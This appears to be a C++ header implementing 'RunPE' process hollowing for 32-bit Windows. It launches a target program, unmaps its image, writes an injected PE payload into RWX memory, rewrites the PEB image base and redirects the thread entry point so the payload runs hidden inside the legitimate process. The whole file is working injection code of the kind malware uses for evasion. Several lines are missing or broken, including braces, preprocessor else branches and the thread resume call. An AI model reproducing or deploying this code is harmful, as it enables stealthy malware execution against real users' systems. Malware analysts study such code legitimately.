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#pragma once
#include <windows.h>
#include <stdio.h>
#include "ntdll_undoc.h"
#include "createproc.h"
#include "relocate.h"
#include "pe_raw_to_virtual.h"
targetPath - application where we want to inject
payload - buffer with raw image of PE that we want to inject
payload_size - size of the above
desiredBase - address where we want to map the payload in the target memory; NULL if we don't care.
This address will be ignored if the payload has no relocations table, because then it must be mapped to it's original ImageBase.
unmap_target - do we want to unmap the target? (we are not forced to do it if it doesn't disturb our chosen base)
bool runPE32(LPWSTR targetPath, BYTE* payload, SIZE_T payload_size, ULONGLONG desiredBase = NULL, bool unmap_target = false)
if (!load_ntdll_functions()) return false;
//check payload:
IMAGE_NT_HEADERS32* payload_nt_hdr32 = get_nt_hrds32(payload);
if (payload_nt_hdr32 == NULL) {
printf("Invalid payload: %p\n", payload);
return false;
const ULONGLONG oldImageBase = payload_nt_hdr32->OptionalHeader.ImageBase;
SIZE_T payloadImageSize = payload_nt_hdr32->OptionalHeader.SizeOfImage;
//set subsystem always to GUI to avoid crashes:
payload_nt_hdr32->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
//create target process:
if (!create_new_process1(targetPath, pi)) return false;
printf("PID: %d\n", pi.dwProcessId);
//get initial context of the target:
#if defined(_WIN64)
WOW64_CONTEXT context;
memset(&context, 0, sizeof(WOW64_CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
Wow64GetThreadContext(pi.hThread, &context);
CONTEXT context;
memset(&context, 0, sizeof(CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pi.hThread, &context);
//get image base of the target:
DWORD PEB_addr = context.Ebx;
printf("PEB = %x\n", PEB_addr);
DWORD targetImageBase = 0; //for 32 bit
if (!ReadProcessMemory(pi.hProcess, LPVOID(PEB_addr + 8), &targetImageBase, sizeof(DWORD), NULL)) {
printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
return false;
if (targetImageBase == NULL) {
return false;
printf("targetImageBase = %x\n", targetImageBase);
if (has_relocations(payload) == false) {
//payload have no relocations, so we are bound to use it's original image base
desiredBase = payload_nt_hdr32->OptionalHeader.ImageBase;
if (unmap_target || (ULONGLONG)targetImageBase == desiredBase) {
//unmap the target:
if (_NtUnmapViewOfSection(pi.hProcess, (PVOID)targetImageBase) != ERROR_SUCCESS) {
printf("Unmapping the target failed!\n");
return false;
//try to allocate space that will be the most suitable for the payload:
LPVOID remoteAddress = VirtualAllocEx(pi.hProcess, (LPVOID)desiredBase, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteAddress == NULL) {
printf("Could not allocate memory in the remote process\n");
return false;
printf("Allocated remote ImageBase: %p size: %lx\n", remoteAddress, static_cast<ULONG>(payloadImageSize));
//change the image base saved in headers - this is very important for loading imports:
payload_nt_hdr32->OptionalHeader.ImageBase = static_cast<DWORD>((ULONGLONG)remoteAddress);
//first we will prepare the payload image in the local memory, so that it will be easier to edit it, apply relocations etc.
//when it will be ready, we will copy it into the space reserved in the target process
LPVOID localCopyAddress = VirtualAlloc(NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);;
if (localCopyAddress == NULL) {
printf("Could not allocate memory in the current process\n");
return false;
printf("Allocated local memory: %p size: %lx\n", localCopyAddress, static_cast<ULONG>(payloadImageSize));
if (!copy_pe_to_virtual_l(payload, payload_size, localCopyAddress)) {
printf("Could not copy PE file\n");
return false;
//if the base address of the payload changed, we need to apply relocations:
if ((ULONGLONG)remoteAddress != oldImageBase) {
if (apply_relocations((ULONGLONG)remoteAddress, oldImageBase, localCopyAddress) == false) {
printf("[ERROR] Could not relocate image!\n");
return false;
SIZE_T written = 0;
// paste the local copy of the prepared image into the reserved space inside the remote process:
if (!WriteProcessMemory(pi.hProcess, remoteAddress, localCopyAddress, payloadImageSize, &written) || written != payloadImageSize) {
printf("[ERROR] Could not paste the image into remote process!\n");
return false;
//free the localy allocated copy
VirtualFree(localCopyAddress, payloadImageSize, MEM_FREE);
//overwrite ImageBase stored in PEB
DWORD remoteAddr32b = static_cast<DWORD>((ULONGLONG)remoteAddress);
if (!WriteProcessMemory(pi.hProcess, LPVOID(PEB_addr + 8), &remoteAddr32b, sizeof(DWORD), &written) || written != sizeof(DWORD)) {
printf("Failed overwriting PEB: %d\n", static_cast<int>(written));
return false;
//overwrite context: set new Entry Point
DWORD newEP = static_cast<DWORD>((ULONGLONG)remoteAddress + payload_nt_hdr32->OptionalHeader.AddressOfEntryPoint);
printf("newEP: %x\n", newEP);
context.Eax = newEP;
#if defined(_WIN64)
Wow64SetThreadContext(pi.hThread, &context);
SetThreadContext(pi.hThread, &context);
//start the injected:
//free the handles
return true;
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